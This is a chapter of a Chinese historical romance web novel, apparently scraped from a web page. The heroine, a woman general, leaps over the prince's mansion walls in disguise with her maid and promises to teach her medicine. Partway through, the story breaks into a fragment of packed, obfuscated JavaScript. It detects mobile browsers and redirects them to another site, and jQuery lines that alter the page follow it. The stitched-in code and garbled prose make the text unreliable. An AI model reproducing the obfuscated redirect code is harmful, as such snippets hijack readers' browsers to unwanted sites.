115. 第 115 章

作品:《女将军嫁给病秧子皇叔后

    楚灵略微思索了一番,也道白榆说得有理,于是便点了点头道:“也好,那么就你随我去吧。”


    说罢这句话,楚灵转首又看向桑竹:“你做事我是放心的,你就带着人留在府里,看着动静,若是当真出了什么事......”


    楚灵的目光逐渐变深,“你自然知道该怎么做。”


    于是楚灵又交代了桑竹一番,然后又在箱底翻出了一身豆青色男装长衫换上,将发髻打散了用一支玉簪将发丝束起,俨然是一副男装的打扮。


    这边的白榆也在楚灵的吩咐下去换了一身男装,一切收拾停当,楚灵便带着白榆跟在桑竹的身后走了出去。


    一路行至褚玉苑门,楚灵举目四处看了看,果然如桑竹所言,除了偶尔来往过路的女使之外,的确是无人在看守。


    楚灵一行走得很是顺利,不到一炷香的功夫就走到了王府正门口。


    此处不比褚玉苑附近,却是实打实的有十数个侍卫在看守的,凡是进出之人除了要查验腰牌之外,还要再仔细查问一番确认无误之后才能放行,所经之人必查,没有一人例外。


    楚灵站在暗处看了片刻,心里已经打定了主意,正欲转身,却见身侧的白榆一脸忧心忡忡低声道:


    “主子,侍卫如此看守,咱们要如何不动声色地混出去呢。”


    楚灵顿了顿,看到白榆这样一副忧心的模样,微微笑了笑:


    “法子自然是有的,只是,不知道你敢不敢跟我走?”


    白榆显然是没有想到楚灵所说的法子究竟是什么,只是十分恳切地点头:“主子想要奴婢做什么,尽管吩咐就是。”


    楚灵却没有再言语,只闷不作声地拉着白榆回身就走,直至来到花厅后院的墙根下,这才停住了脚步。


    未等白榆说话,楚灵直接拉着白榆的右手飞身跃起,一个旋身足尖轻点在一旁的杨树枝上,而后便带着人轻轻松松越过了墙头。


    “呜......”白榆一声惊呼,谁知下一刻却直接被楚灵捂了嘴,硬生生将后买呢的声音吞回喉咙。


    腾空站在这么高的地方,白榆吓得手足冰冷,全身都在止不住的颤栗,看着足下那么高的距离,她只感觉自己仿佛下一刻就要坠落,骇得险些晕过去。


    “别动,闭眼跟着我就是了。”


    楚灵低喝了一声,然后带着白榆几个飞身越过九王府的重重屋檐墙壁,最后稳稳落在地上。


    直至双脚稳稳落在了地面上,有了脚踏实地的感觉之后,白榆这才敢睁开眼睛,却见眼前的景象似乎已经是王府之外了,身后还是数丈高的白墙,但是眼前却是一处僻静窄小的弄堂。


    直到此刻,楚灵这才收回拉着她的手,负手而立看着她道:“还不快走?”


    白榆这才缓过神来,忙不迭地跟上楚灵的脚步向前走,但是方才心中的震撼却是久久不能平复。


    传言当今圣上遇刺亲封的那一位女将军,风姿绰约伸手了得,仅凭一己之力就能单枪匹马深入敌营救下城中老弱妇孺,是女子中罕见的英姿飒爽。


    这些传闻,白榆即便是常年生活在王府的深宅大院中,也是听说过的。


    只不过那个时候,她只觉得自己和那位巾帼女将军的距离犹如云泥之别,自己也不会和她有什么交集,是以也就是听过作罢,未做深究。


    直至宫里赐婚的圣旨传来,她知道了那一位传闻中的女将军竟然会在不日之后就入九王府为正妃,以后也将会是整个九王府和她自己的主母。


    直到这个时候,白榆这才对这一位即将入府的女主人充满了未知的好奇和期待,毕竟当家主母的行事作风,与他们这些在府中此后的女使而言,可谓是息息相关。


    直至正式见到楚灵之前,白榆都没有想到过,正是这一位女将军,竟然会在第一次就看中了自己,将自己提拔进了只有王妃才能居住的褚玉苑,还给自己分派了这么重要的差事。


    就此,白榆此前坎坷不平的人生似乎就此改写,她日日对着这一位于自己而言犹如再生之恩的主子尽心尽力的伺候,只觉得这位王妃相貌倾国倾城,眉眼中更是多了几分英气,但是却从未见过她真正的身手。


    今日甫一相见,这才明白了从前读过的形容女子身形的“翩若惊鸿”是何等风姿。


    原来,女子也可以如楚灵这般,活得恣意潇洒;原来女子也能独立于这世间,给自己撑起一片天地。


    这一刻,白榆不可不谓是震撼的,所谓百闻不如一见,就是如此。也是从这一刻起,白榆对楚灵便不仅仅是从前的感激,更是生了满心的敬佩之情。


    她在九王府为奴为婢这许多年,也听说见过了不少女子,但是像楚灵这般的人,她却还是第一次见。


    “主子,您......”白榆欲言又止,思索了半天,才接着说出了后面的话,“都说您身手宛如游龙,奴婢却一直没有这个福气能亲眼所见,今日相见,您当真是比传闻中还要......”


    “还要什么?”


    楚灵有些好笑地回头看着人,“你也觉得我像一个乡野男人,不像一个女子?”


    “不不不!”桑竹连连摆手,“奴婢万没有这个意思,奴婢是觉得主子您这般才貌身手,比金陵城那些世家女子更真实,即便是在这繁花似锦的金陵城,也是埋没了。”


    楚灵眸光渐深,开口时却充满了怜悯:


    “这世上女子本就不易,世家女子多数也不过是家族联姻笼络的棋子罢了,你看她们即便是享受了寻常之人不能有的富贵,却也要受那些身不由己的摆布和安排,半点由不得自己。”


    言及此处,楚灵的声音又略重了几分,意味深长道:“若是女子当真想要自己做主,还得要靠自己才是。”


    白榆听着这些此前从未听过的话若有所思,仿佛是多年前自己爹爹还活着的时候,也曾经这样教导过自己:


    即便是身为女子,也要识文断字读书明理,日后要学一个能傍身吃饭的手艺,只要自己能有办法养活自己,那边几百年日后夫家靠不住,也能靠着自己活下去。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656886|163738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >相比于楚灵所说的话,白榆父亲所说的好像就更浅显易懂了,他更是一个对自己女儿殷殷嘱托的父亲,希望自己的女儿日后能有立足于这世上的本事和勇气。


    这些话,却是和楚灵所说的不约而同了。


    此刻,白榆虽然脚下向前走着,但是神思却陷入了深深的思索中,仿佛在这一刻,她在茫茫的黑暗之中看到了一闪而过的曙光。


    那不再是遥不可及的了,好像自己只要愿意伸手去抓,就一定抓得住。


    见白榆久久不曾说话,楚灵好奇回头看了一眼,不觉道:“想什么呢?”


    眼下已经走到了弄堂出口处,只要一转弯便是金陵的集市了。


    为着等白榆,楚灵一面放缓了脚步一面道:“眼下既然是乔装出来的,你唤我公子就是了。”


    白榆这才如梦初醒,回过神来见楚灵正盯着自己,不觉红了脸,忙低下头道:“是,是......奴......小的不好,跟公子说话竟走了神,请公子降罪。”


    楚灵却不以为意的笑了笑,宽和道:“不妨,你这般认真是在想什么?”


    被楚灵这样一问,白榆的脸就更红了,嗫嚅了半天,这才在楚灵的目光下缓缓说了:


    “奴婢......我......从前爹爹活着的时候,也曾这般教导过我的,从小爹爹就教我识文断字,也常常带着我在医馆中教习医书,若是没有当年的那般祸事,我......”


    提起往事,白榆泫然欲泣,眼眶微微发红,终是没有再继续说下去。


    然而即便是白榆没有说下去,楚灵却也是清楚了后面的事情。


    若是白榆的父亲没有遭祸,那么白榆就会跟随在她父亲的身边研习医术,直到多少年后学成,继承她父亲的医馆,成一个行医济世的女郎中。


    思及此处,见白榆这样一副失神的模样,不觉心生怜悯,“你若是想继续继承你父亲的遗志,想要学习医道的话,我或许也是可以教你的。”


    白榆猛得抬起头,眸子里赫然多了一分亮色,不可置信的看着楚灵:“真的吗?公子,您......您身份贵重,怎能教我......”


    楚灵却丝毫没有玩笑的样子,微微颔首:


    “我不知你父亲当年的医术究竟如何,但是我自小也是随师学过几年的,虽不至于有多少本事,但是想来要想诊个一般的风寒杂症,还是可以的,你若愿意,日后可跟着我学。”


    这一次,白榆却是相信了,此刻她目光充满了憧憬的期待,神情激动的看着楚灵,声音已经几近哽咽:“主子,您对奴婢有大恩,奴婢定位主子肝脑涂地,以报大恩!”


    说着话,白榆就想要跪倒在地,却被楚灵一把扶住了:


    “好了,刚才说的现下就忘了,日后你若是有什么事,尽管来找我说就是了,眼下多事之秋,我身边可信任的人不多,自然是待你如姐妹一般的。”


    白榆感动到落泪,忙道:“我怎敢和主子做姐妹,只求能为主子做事报恩,便此身无憾了。”